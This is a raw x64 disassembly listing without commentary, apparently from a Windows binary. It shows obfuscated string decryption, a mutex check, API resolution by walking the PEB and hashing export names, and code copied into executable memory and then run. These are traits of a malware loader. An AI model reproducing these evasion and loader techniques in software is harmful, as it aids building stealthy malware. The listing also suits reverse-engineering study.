mov qword [rax], r15
mov qword [rsp + 0x270], rcx
lea rdx, [rsp + 0x270]
lea rcx, [rsp + 0xcb8]
call fcn.140158030
nop
lea rcx, [rsp + 0x270]
call fcn.140158010
nop
lea rcx, [rsp + 0x500]
call fcn.140158010
lea rcx, [rsp + 0x508]
call fcn.140161600
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x278], rcx
lea rdx, [rsp + 0x278]
lea rcx, [rsp + 0xcb8]
call fcn.140158030
nop
lea rcx, [rsp + 0x278]
call fcn.140158010
nop
lea rcx, [rsp + 0x508]
call fcn.140158010
lea rcx, [rsp + 0x510]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x280]
call fcn.140119a40
test al, al
jns 0x140151e8c
lea rax, [rsp + 0xc48]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x88d0]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
mov r12d, 5
mov esi, 0x186a0
nop dword [rax + rax]
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140161390
mov rbx, qword [rsp + 0xcc0]
sub rbx, qword [rsp + 0xcb8]
sar rbx, 3
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140161390
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xcb8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140161390
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.140161630
movaps xmm5, xmm0
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.140161630
movaps xmm1, xmm5
call fcn.140119910
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.140161630
movaps xmm1, xmm13
call fcn.1401b1850
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.140161630
call fcn.1401ceb70
mulsd xmm0, qword [rsp + 0x50]
movsd qword [rsp + 0x50], xmm0
lea rdx, str.random
lea rcx, [rsp + 0x1080]
call fcn.140132180
nop
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0x1080]
call fcn.140119880
lea rcx, [rsp + 0xeb0]
call fcn.140119a90
lea rcx, [rsp + 0xeb0]
call fcn.1401581b0
nop
movdqa xmmword [rsp + 0x7e0], xmm6
lea r8, [rsp + 0x7e0]
mov rdx, qword [rsp + 0xeb8]
mov rcx, qword [rsp + 0xeb0]
call fcn.1401616b0
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xeb0]
call fcn.140119990
mov rdx, qword [rsp + 0xeb8]
mov rcx, qword [rsp + 0xeb0]
call fcn.140161710
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140161390
mov ebx, eax
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140161390
mov r8d, ebx
mov edx, eax
call fcn.140119a60
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x140151d5a
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
test eax, eax
jne 0x140151d7f
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140151d8e
call fcn.140161390
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov rdi, r12
mov ebx, r15d
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xc48]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x88d0]
lea rcx, [rsp + 0xde0]
call fcn.140161630
movsd xmm5, qword [rsp + 0x50]
addsd xmm0, xmm5
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x88d0]
test bl, 1
jne 0x140151e0b
lea rcx, [rsp + 0xc48]
call fcn.140161390
mov ecx, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x140151e2d
movsd xmm5, qword [rsp + 0x50]
lea rcx, [rsp + 0xde0]
call fcn.140161630
addsd xmm0, xmm14
divsd xmm5, xmm0
movsd qword [rsp + 0x50], xmm5
inc ebx
cmp ebx, 5
jl 0x140151da0
sub rdi, 1
jne 0x140151d91
lea rcx, [rsp + 0xeb0]
call fcn.140158150
nop
lea rcx, [rsp + 0x1080]
call fcn.1401348a0
sub rsi, 1
jne 0x140151b50
lea rcx, [rsp + 0x510]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x280]
call fcn.140119a40
test al, al
js 0x140151b43
mov eax, dword [rsp + 0x40]
lea rcx, [rsp + 0xcb8]
call fcn.140158060
lea rdx, [0x140206d40]
lea rcx, [0x140202330]
call fcn.1401624d0
mov rcx, rax
call fcn.1401624f0
lea rdx, [0x140206dd0]
lea rcx, [0x140202330]
call fcn.1401624d0
mov rcx, rax
call fcn.1401624f0
lea rdx, [0x140206db0]
lea rcx, [0x140202330]
call fcn.1401624d0
mov rcx, rax
call fcn.1401624f0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0xd0], 0x1f4
lea rcx, [rsp + 0xf18]
call fcn.140119a90
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf18]
call fcn.14011a230
nop
mov ecx, r15d
mov rax, qword [0x140204920]
lea rdi, [0x140162180]
lea rsi, [0x140000000]
test rax, rax
je 0x140151f54
cmp rax, rdi
je 0x140151f81
inc ecx
mov rax, qword [rsi + rcx*8 + 0x204920]
test rax, rax
jne 0x140151f40
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
mov r13d, 3
test rax, rax
jne 0x140151f9b
mov r8, r15
jmp 0x14015203e
mov eax, ecx
mov r8, qword [rsi + rax*8 + 0x205c90]
test r8, r8
je 0x140151f54
mov r13d, 3
jmp 0x14015205f
mov rax, rdi
mov rcx, r8
mov rdx, r13
nop dword [rax]
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140151fb0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140204f70]
mov qword [rsi + rax*8 + 0x204920], rdi
mov qword [rsi + rax*8 + 0x205c90], r8
inc rax
mov qword [0x140204f70], rax
lea rdx, [rsp + 0xd0]
mov rcx, rbx
call r8
nop
mov rcx, qword [rsp + 0xf18]
xor rcx, qword [rsp + 0xf20]
mov qword [rsp + 0xf18], rcx
mov rax, qword [rsp + 0xf28]
mov qword [rax], rcx
movsd xmm0, qword [str.ZsNADKukail5]
movsd qword [rsp + 0xa8], xmm0
mov eax, dword [0x1401eb7b0]
mov dword [rsp + 0xb0], eax
movzx eax, byte [0x1401eb7b4]
mov byte [rsp + 0xb4], al
mov r8d, r15d
mov r12d, dword [0x1401ff0f8]
mov edi, 5
lea ebx, [rdi + 0x1a]
cmp r12d, 2
jl 0x1401522c1
movdqa xmm7, xmmword [0x1401ec260]
movd xmm8, edi
movdqa xmm9, xmmword [0x1401ec280]
mov eax, 6
movd xmm10, eax
movd xmm12, ebx
movdqa xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [0x1401ec240]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.ZsNADKukail5]
pxor xmm3, xmm0
movd dword [rsp + 0xa8], xmm3
movdqa xmm5, xmmword [0x1401ec1a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xac]
pxor xmm3, xmm1
movd dword [rsp + 0xac], xmm3
mov r8d, 8
movsxd rax, r8d
lea r10, [rsp + 0xa8]
add r10, rax
nop
mov eax, 0x84210843
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r9d, eax, 0x3e
mov eax, 0xb13b13b1
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r9b
add cl, r8b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r8d
lea r10, [r10 + 1]
cmp r8d, 0xd
jl 0x1401522d0
lea r8, [0x140206d40]
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0xa60]
call fcn.1401622e0
mov rcx, rax
call fcn.140132170
mov r8, rax
mov edx, r14d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0xa60]
call fcn.1401348a0
movsd xmm0, qword [str.mDBQBM_v_ZEVM7]
movsd qword [rsp + 0xb8], xmm0
mov eax, dword [0x1401eae20]
mov dword [rsp + 0xc0], eax
movzx eax, word [0x1401eae24]
mov word [rsp + 0xc4], ax
cmp byte [0x1401eae25], 0
je 0x1401525ef
mov r9d, r15d
cmp r12d, 2
jl 0x14015258d
movdqa xmm7, xmmword [0x1401ec260]
movd xmm8, edi
movdqa xmm9, xmmword [0x1401ec280]
mov eax, 6
movd xmm10, eax
movd xmm12, ebx
movdqa xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
mov eax, dword [0x1401ec240]
movd xmm0, eax
paddb xmm3, xmm0
movd xmm0, dword [str.mDBQBM_v_ZEVM7]
pxor xmm3, xmm0
movd dword [rsp + 0xb8], xmm3
movdqa xmm5, xmmword [0x1401ec1a0]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm7
movdqa xmm0, xmm1
pmuldq xmm0, xmm7
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm8
pmuldq xmm2, xmm9
pmuldq xmm1, xmm9
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm12
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm12
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, eax
paddb xmm3, xmm0
movd xmm1, dword [rsp + 0xbc]
pxor xmm3, xmm1
movd dword [rsp + 0xbc], xmm3
mov r9d, 8
movsxd rax, r9d
lea r10, [rsp + 0xb8]
add r10, rax
nop dword [rax + rax]
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x1401525a0
lea rdx, [rsp + 0xb8]
lea rcx, [rsp + 0xa40]
call fcn.140132180
mov rcx, rax
call fcn.140132490
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140152696
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140152696
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x4be4286f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140152691
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140152670
cmp r8d, 0xc4f808f9
je 0x14015269b
test r10d, r10d
jne 0x140152650
mov rax, qword [rax]
jmp 0x140152620
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
call rcx
cmp eax, 0xb7
jne 0x1401526ca
mov qword [0], r15
jmp 0x1401553e9
movups xmm0, xmmword [str.TqHWLKHQDAV]
movups xmmword [rsp + 0x328], xmm0
movsd xmm0, qword [0x1401eadb0]
movsd qword [rsp + 0x338], xmm0
mov eax, dword [0x1401eadb8]
mov dword [rsp + 0x340], eax
movzx eax, word [0x1401eadbc]
mov word [rsp + 0x344], ax
movzx eax, byte [0x1401eadbe]
mov byte [rsp + 0x346], al
mov r9d, r15d
cmp r12d, 2
jl 0x140152942
mov eax, 5
movd xmm7, eax
mov eax, 6
movd xmm8, eax
mov eax, 0x1f
movd xmm6, eax
movdqa xmm0, xmmword [0x1401ec240]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x328]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm7
pmuldq xmm2, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm2, xmm1, 0xdd
paddd xmm2, xmm5
psrad xmm2, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1c0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1b0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmmword [0x1401ec190]
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmmword [0x1401ec260]
movdqa xmm0, xmm1
pmuldq xmm0, xmmword [0x1401ec260]
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm7
pmuldq xmm4, xmmword [0x1401ec280]
pmuldq xmm1, xmmword [0x1401ec280]
shufps xmm4, xmm1, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm8
movdqa xmm1, xmm2
psrld xmm1, xmm6
paddd xmm1, xmm2
pmulld xmm1, xmmword [0x1401ec1b0]
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1401ec230]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm6
paddd xmm0, xmm4
pmulld xmm0, xmmword [0x1401ec1c0]
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401ec230]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, dword [rsp + 0x50]
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140152753
cmp r9d, 0x1f
jge 0x14015299f
movsxd rax, r9d
lea r10, [rsp + 0x328]
add r10, rax
mov eax, 0x84210843
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3e
mov eax, 0xb13b13b1
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
sub cl, r8b
add cl, r9b
add cl, cl
add cl, 0x1d
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1f
jl 0x140152950
lea rdx, [rsp + 0x328]
lea rcx, [rsp + 0xa20]
call fcn.140132180
mov rcx, rax
call fcn.140132490
lea rcx, [rsp + 0xf30]
call fcn.140119a90
lea rdx, [rsp + 0xdbd8]
lea rcx, [rsp + 0xf30]
call fcn.14011a230
nop
mov ecx, r15d
mov rax, qword [0x140205600]
lea r14, [0x140163290]
test rax, rax
je 0x140152a1e
cmp rax, r14
je 0x140152a0b
inc ecx
mov rax, qword [rsi + rcx*8 + 0x205600]
test rax, rax
jne 0x1401529f5
jmp 0x140152a1e
mov eax, ecx
mov rdx, qword [rsi + rax*8 + 0x206930]
test rdx, rdx
jne 0x140152aff
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdx, rax
test rax, rax
jne 0x140152a45
mov rdx, r15
jmp 0x140152ade
mov rax, r14
mov rcx, rdx
mov r8, r13
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r8, 1
jne 0x140152a50
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140205fb8]
mov qword [rsi + rax*8 + 0x205600], r14
mov qword [rsi + rax*8 + 0x206930], rdx
inc rax
mov qword [0x140205fb8], rax
lea rcx, [0x140128670]
call rdx
nop
mov rcx, qword [rsp + 0xf30]
xor rcx, qword [rsp + 0xf38]
mov qword [rsp + 0xf30], rcx
mov rax, qword [rsp + 0xf40]
mov qword [rax], rcx
call fcn.14017ecdc
mov edx, eax
lea rcx, [rsp + 0x9c60]
call fcn.140158100
mov dword [rsp + 0xc40], 0xffffff9c
mov dword [rsp + 0xc44], 0x64
movaps xmm0, xmmword [0x1401ec250]
movups xmmword [rsp + 0xdf0], xmm0
mov dword [rsp + 0x40], r15d
movsd qword [rsp + 0x50], xmm15
lea rcx, [rsp + 0x518]
call fcn.140119690
mov rax, qword [rsp + 0x518]
add rax, 0x5f5e100
mov qword [rsp + 0x2b8], rax
lea rcx, [rsp + 0xd30]
call fcn.140119a90
xorps xmm0, xmm0
movdqu xmmword [rsp + 0xd30], xmm0
mov qword [rsp + 0xd40], r15
lea rcx, [rsp + 0x520]
call fcn.140161510
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x288], rcx
lea rdx, [rsp + 0x288]
lea rcx, [rsp + 0xd30]
call fcn.140158030
nop
lea rcx, [rsp + 0x288]
call fcn.140158010
nop
lea rcx, [rsp + 0x520]
call fcn.140158010
lea rcx, [rsp + 0x528]
call fcn.140161540
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x290], rcx
lea rdx, [rsp + 0x290]
lea rcx, [rsp + 0xd30]
call fcn.140158030
nop
lea rcx, [rsp + 0x290]
call fcn.140158010
nop
lea rcx, [rsp + 0x528]
call fcn.140158010
lea rcx, [rsp + 0x530]
call fcn.140161570
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x298], rcx
lea rdx, [rsp + 0x298]
lea rcx, [rsp + 0xd30]
call fcn.140158030
nop
lea rcx, [rsp + 0x298]
call fcn.140158010
nop
lea rcx, [rsp + 0x530]
call fcn.140158010
lea rcx, [rsp + 0x538]
call fcn.1401615a0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x2a0], rcx
lea rdx, [rsp + 0x2a0]
lea rcx, [rsp + 0xd30]
call fcn.140158030
nop
lea rcx, [rsp + 0x2a0]
call fcn.140158010
nop
lea rcx, [rsp + 0x538]
call fcn.140158010
lea rcx, [rsp + 0x540]
call fcn.1401615d0
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x2a8], rcx
lea rdx, [rsp + 0x2a8]
lea rcx, [rsp + 0xd30]
call fcn.140158030
nop
lea rcx, [rsp + 0x2a8]
call fcn.140158010
nop
lea rcx, [rsp + 0x540]
call fcn.140158010
lea rcx, [rsp + 0x548]
call fcn.140161600
nop
mov rcx, qword [rax]
mov qword [rax], r15
mov qword [rsp + 0x2b0], rcx
lea rdx, [rsp + 0x2b0]
lea rcx, [rsp + 0xd30]
call fcn.140158030
nop
lea rcx, [rsp + 0x2b0]
call fcn.140158010
nop
lea rcx, [rsp + 0x548]
call fcn.140158010
lea rcx, [rsp + 0x550]
call fcn.140119690
mov rcx, rax
lea rdx, [rsp + 0x2b8]
call fcn.140119a40
movsd xmm9, qword [0x1401ec138]
test al, al
jns 0x14015312a
lea rax, [rsp + 0xc40]
mov qword [rsp + 0x70], rax
lea rax, [rsp + 0x9c60]
mov qword [rsp + 0x78], rax
movaps xmm6, xmmword [rsp + 0x70]
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140161390
mov rbx, qword [rsp + 0xd38]
sub rbx, qword [rsp + 0xd30]
sar rbx, 3
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140161390
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rsp + 0xd30]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xc40]
call fcn.140161390
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.140161630
movaps xmm5, xmm0
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.140161630
movaps xmm1, xmm5
call fcn.140119910
movsd xmm1, qword [rsp + 0x50]
addsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
lea rdx, [rsp + 0x9c60]
lea rcx, [rsp + 0xdf0]
call fcn.140161630
movaps xmm1, xmm9
